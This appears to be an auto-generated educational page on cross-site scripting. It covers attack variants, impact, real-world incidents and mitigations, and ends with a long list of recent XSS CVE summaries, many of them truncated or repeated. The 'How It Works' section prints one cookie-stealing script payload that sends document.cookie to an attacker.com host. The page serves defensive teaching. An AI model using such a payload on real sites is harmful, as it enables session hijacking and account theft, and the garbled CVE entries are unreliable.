Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (40970)
Cross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted script to the Files - Description parameter in the Pages Menu. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 was discovered to contain a cross-site scripting (XSS) vulnerability via the admin panel. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Dell SmartFabric Storage Software v1.4 (and earlier) contains possible vulnerabilities for HTML injection or CVS formula injection which might escalate to cross-site scripting attacks in HTML pages. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
HtmlSanitizer is a .NET library for cleaning HTML fragments and documents from constructs that can lead to XSS attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Rite CMS 3.0 has Multiple Cross-Site scripting (XSS) vulnerabilities that allow attackers to execute arbitrary code via a payload crafted in the Home Page fields in the Administration menu. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Zope is an open-source web application server. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross Site Scripting vulnerability in Small CRM in PHP v.3.0 allows a remote attacker to execute arbitrary code via a crafted payload to the Address parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Common Voice is the web app for Mozilla Common Voice, a platform for collecting speech donations in order to create public domain datasets for training voice recognition-related tools. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A cross-site scripting (XSS) vulnerability in the component /framework/cron/action/humanize of Pleasant Solutions Pleasant Password Server v7.11.41.0 allows attackers to execute arbitrary web scripts. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Certain HP Enterprise LaserJet and HP LaserJet Managed Printers are potentially vulnerable to denial of service due to WS-Print request and potential injections of Cross Site Scripting via jQuery-UI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
An HTML injection flaw was found in Controller in the user interface settings. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
IBM Content Navigator 3.0.11, 3.0.13, and 3.0.14 with IBM Daeja ViewOne Virtual is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Easy Chat Server, in its 3.1 version and before, does not sufficiently encrypt user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability stored via /registresult.htm (POST. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Easy Chat Server, in its 3.1 version and before, does not sufficiently encrypt user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability stored via /body2.ghp (POST method), in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Easy Chat Server, in its 3.1 version and before, does not sufficiently encrypt user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability stored via /registresult.htm (POST. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Stored Cross-Site Scripting in Easy Address Book Web Server 1.6 version, through the users_admin.ghp file that affects multiple parameters such as (firstname, homephone, lastname, lastname,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Vulnerability in Easy Address Book Web Server 1.6 version, affecting the parameters (firstname, homephone, lastname, middlename, workaddress, workcity, workcountry, workphone, workstate and workzip). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) reflected vulnerability on WideStand until 5.3.5 version, which generates one of the meta tags directly using the content of the queried URL, which would allow an attacker. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A cross-site scripting vulnerability exists in Citadel versions prior to 994. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Instagram for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 2.1.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Blog Filter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'AWL-BlogFilter' shortcode in versions up to, and including, 1.5.3 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
IBM FileNet Content Manager 5.5.8, 5.5.10, and 5.5.11 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
SSCMS 7.2.2 was discovered to contain a cross-site scripting (XSS) vulnerability via the Content Management component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
SSCMS 7.2.2 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Material Management component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
SSCMS 7.2.2 was discovered to contain a cross-site scripting (XSS) vulnerability via the Column Management component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A cross-site scripting (XSS) vulnerability in the bpk-common/auth/login/index.html login portal in Broadpeak Centralized Accounts Management Auth Agent 01.01.00.19219575_ee9195b0,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
This vulnerability could allow an attacker to store a malicious JavaScript payload in the broadcast message parameter within the admin panel. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
This vulnerability could allow an attacker to store a malicious JavaScript payload in the login footer and login page description parameters within the administration panel. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-Site Scripting (XSS) vulnerability in NXLog Manager 5.6.5633 version. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A stored XSS vulnerability has been found on BuddyBoss Platform affecting version 2.2.9. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-Site Scripting vulnerability in BuddyBoss 2.2.9 version , which could allow a local attacker with basic privileges to execute a malicious payload through the "[name]=image.jpg" parameter,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository salesagility/suitecrm prior to 7.14.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Allows an attacker to perform XSS attacks stored on certain resources. Rated high severity (CVSS 8.2), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) vulnerability in Syslog Section of Pandora FMS allows attacker to cause that users cookie value will be transferred to the attackers users server. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The WP Responsive header image slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'sp_responsiveslider' shortcode in versions up to, and including, 3.2.1 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site scripting vulnerability in FURUNO SYSTEMS wireless LAN access point devices allows an authenticated user to inject an arbitrary script via a crafted configuration. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in mojoPortal v.2.7.0.0 allows a remote attacker to execute arbitrary code via the helpkey parameter in the Help.aspx component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A cross-site scripting (XSS) vulnerability in the publish article function of emlog pro v2.1.14 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the title. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in brewlabs SendPress Newsletters sendpress allows DOM-Based XSS.26.1.20. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Rescue Themes Rescue Shortcodes allows Stored XSS.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Generic in GitHub repository dolibarr/dolibarr prior to 18.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Os Commerce is currently susceptible to a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 40970